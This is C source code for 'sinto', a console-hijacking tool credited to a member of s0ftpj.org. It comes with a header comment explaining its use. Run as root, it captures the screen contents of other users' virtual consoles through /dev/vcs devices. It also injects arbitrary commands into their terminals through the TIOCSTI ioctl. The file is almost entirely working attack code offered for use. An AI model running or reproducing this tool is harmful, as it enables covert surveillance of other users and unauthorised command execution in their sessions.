/*
 * code by vecna@s0ftpj.org - www.s0ftpj.org
 *
 * how this code run:
 * i read input and parse first char, if don't compare with "h" "r" "i", 
 * sinto think that you have insert tty code. it open /dev/vcsX and print 
 * it on * terminal, /dev/vcsX, as read under kernel documentation 
 * (devices.txt):
 *
 * 7 char        Virtual console capture devices
 *                 0 = /dev/vcs          Current vc text contents
 *                 1 = /dev/vcs1         tty1 text contents
 *                   ...
 *                63 = /dev/vcs63        tty63 text contents
 *               128 = /dev/vcsa         Current vc text/attribute contents
 *
 * with 'h' is printed number of current vcs.
 *
 * after reading from input info about tty, if is digit 'i' sinto entering 
 * on insert mode, where you can insert command to send and execute on 
 * hijacked tty after injection i've put refresh after 1000 milliseconds (if 
 * operation is more long, type 'r' for refresh)
 *
 * sorry for my bad english, I speak only with my fish and my plants.
 *
 * for compile gcc -o sinto -Wall -O6 sinto.c  /   run as root.
 *
 * tnx to betatester TheDuke Velenux ralph vejeta.
 * 
 * example of usage:
~# ./sinto
   1 
   (start to read other tty, tty1 on example)
   i
   (entering on insert command mode)
   "command"
   (after 1000 milliseconds there are refresh)
   r
   (make other refresh with 'r')
   h
   (type vcs where we are to work)
   ^C
   (quit)
~#
 * bye :)
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <termios.h>

#define VCS_NAME_LEN 	16
#define CMD_SIZE	128

#define VCS_to_TTY(a) 	a[5] ='t'; \
			a[6] ='t'; \
			a[7] ='y';

#define TTY_to_VCS(a)	a[5] ='v'; \
			a[6] ='c'; \
			a[7] ='s';

extern int errno;

void S_error(char *, ...);
int open_vcs(char[3], char *);
void read_vcs(int);
void read_command(char vcs[]);
void exec_hijacking(char *, char *);

int main(void)
	{
	char terminal[3]={ '1', 0x00, 0x00 };
	char *vcs_name =malloc(VCS_NAME_LEN);
	
	if(geteuid())
		S_error("required root for read other /dev/vcs");

	printf("entering on interactive hijacking mode\n");

	while(1)
		{
		char rcvd, suffix[3]={ 0x00, 0x00, 0x00 }; 
		int vcsfd =0, index =0;

		while(read(STDIN_FILENO, &rcvd, sizeof(char)) > 0)
			{
			if(rcvd == '\n')
				break;
			suffix[index++] =rcvd;
			if(index == 2)
				break;
			}

		switch(suffix[0])
			{
			case '\n':
				break;
			case 'h':
				printf("\nwe are on %s\n", vcs_name);
				break;
			case 'i':
				if(vcs_name !=NULL)
					read_command(vcs_name);
				memcpy(&suffix, &terminal, 3);
			case 'r': /* refresh */
				memcpy(&suffix, &terminal, 3);
			default:
				vcsfd =open_vcs(suffix, vcs_name);
				switch(vcsfd)
					{
					case -1:	
						S_error("open %s", vcs_name);
						break;
					case -2:
						vcsfd =70;
						while(vcsfd--)
							printf("\n");
						printf("\nis your tty!\n");
						break;
					default:
						memcpy(&terminal, &suffix, 3);
						read_vcs(vcsfd);
						close(vcsfd);
					}
			}
		}
	}

int open_vcs(char tty[3], char *vcs_name)
	{
	char buf[VCS_NAME_LEN];

	snprintf(buf, VCS_NAME_LEN, "%s%s", "/dev/vcs", tty);
	memcpy((void *)vcs_name, (void *) &buf, VCS_NAME_LEN);

	VCS_to_TTY(vcs_name);
	if(!strcmp(vcs_name, ttyname(STDIN_FILENO)))
		return (-2);
	TTY_to_VCS(vcs_name);
	/* -2 is signal of opening equal tty */

	return open(buf, O_RDONLY);
	}

void read_vcs(int vcsfd)
	{
	int nbyte;
	char screen_buf[2000]; 	/* my strace tell me 2000 :) */

	nbyte =read(vcsfd, screen_buf, sizeof(screen_buf));
	if(nbyte == -1)
		S_error(0, "error on read %d:%s",vcsfd, ttyname(vcsfd));

	write(STDOUT_FILENO, screen_buf, nbyte -1);
	}

void read_command(char vcs[])
        {
        char command[128]; 

	printf("\033[1;34minsert command: \033[0m");
	fgets(command, 128, stdin);

	if(command[0] != '\n')
		exec_hijacking(command, vcs);

        }

void exec_hijacking(char *command, char *vcs)
	{
	/* this is some tech used on dirthy.c - TESO team */
	int fd;
	struct termios save_termios, buf;

	VCS_to_TTY(vcs);

	if((fd = open(vcs, O_WRONLY)) < 0)
		S_error("open %s", vcs);

	if(tcgetattr(STDIN_FILENO, &save_termios) < 0)
		S_error("tcgetattr");
   
	buf = save_termios;

	buf.c_lflag &= ~(ECHO | ICANON);
	buf.c_cc[VMIN] = 1;
	buf.c_cc[VTIME] = 0;

	if (tcsetattr(fd, TCSAFLUSH, &buf) <0)
		S_error("tcsetattr for hijacking");

	while(*command)
		{
		char part[2] ={ *command++, 0x00 };

		if(ioctl(fd, TIOCSTI, part) == -1)
			S_error("ioctl on sending command"); 
		}

	usleep(1000);

	if (tcsetattr(fd, TCSAFLUSH, &save_termios) < 0)
		S_error("tcsetattr for reset, type \"reset\"");

	TTY_to_VCS(vcs);
	}

void S_error(char *message, ...)
        {
	va_list va;

	va_start(va, message);
        if(errno)
		{
		vfprintf(stderr, message, va);
		fprintf(stderr," : %s\n", strerror(errno));
		}
        else
		{
		vfprintf(stderr, message, va);
		fprintf(stderr, "\n");
		}
	va_end(va);

	exit(errno);
        }
